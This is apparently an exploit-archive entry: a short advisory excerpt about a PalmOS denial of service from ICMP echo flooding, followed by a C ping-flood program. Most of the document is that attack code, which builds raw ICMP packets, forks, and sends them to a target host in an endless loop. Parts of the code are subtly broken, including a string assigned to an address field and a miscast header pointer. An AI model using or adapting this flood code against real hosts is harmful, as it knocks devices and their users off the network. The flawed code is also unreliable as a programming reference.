61 lines
No EOL
2.1 KiB
C
61 lines
No EOL
2.1 KiB
C
// source: https://www.securityfocus.com/bid/7597/info
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A problem with PalmOS may result in a denial of service.
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It has been reported that PalmOS becomes unstable when flooded with ICMP ECHO_REQUEST traffic. A remote attacker can trigger a device lockup condition or cause the Palm OS device to loose network connectivity.
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This could allow a remote attacker to deny service to legitimate users of a PalmOS device that is connected to a network.
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#include <stdio.h>
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#include <stdlib.h>
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#include <netinet/in.h>
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#include <netdb.h>
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#include <netinet/ip.h>
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#include <netinet/ip_icmp.h>
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int main(int argc, char *argv[]) {
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if(argc < 2) {
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printf("Usage: %s <host>\n", argv[0]);
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exit(0);
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}
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int sock;
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char packet[2000];
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struct sockaddr_in dest;
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struct hostent *host;
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struct iphdr *ip = (struct iphdr *) packet;
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struct icmphdr *icmp = (struct icmp *) packet + sizeof(struct iphdr);
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if((host = gethostbyname(argv[1])) == NULL) {
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printf("Couldn't resolve host!\n");
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exit(-1);
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}
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if((sock = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP)) == -1) {
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printf("Couldn't make socket!\n");
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printf("You must be root to create a raw socket.\n");
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exit(-1);
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}
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dest.sin_family = AF_INET;
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dest.sin_addr = *((struct in_addr *)host->h_addr);
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ip->ihl = 5;
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ip->id = htons(1337);
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ip->ttl = 255;
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ip->tos = 0;
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ip->protocol = IPPROTO_ICMP;
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ip->version = 4;
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ip->frag_off = 0;
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ip->saddr = htons("127.0");
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ip->daddr = inet_ntoa(dest.sin_addr);
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ip->tot_len = sizeof(struct iphdr) + sizeof(struct icmphdr);
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ip->check = 0;
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icmp->checksum = 0;
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icmp->type = ICMP_ECHO;
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icmp->code = 0;
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printf("Ping flooding %s!\n", argv[1]);
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fork();
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fork();
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while(1) {
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sendto(sock, packet, ip->tot_len, 0,(struct sockaddr *)&dest, sizeof(struct sockaddr));
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}
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return(0);
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} |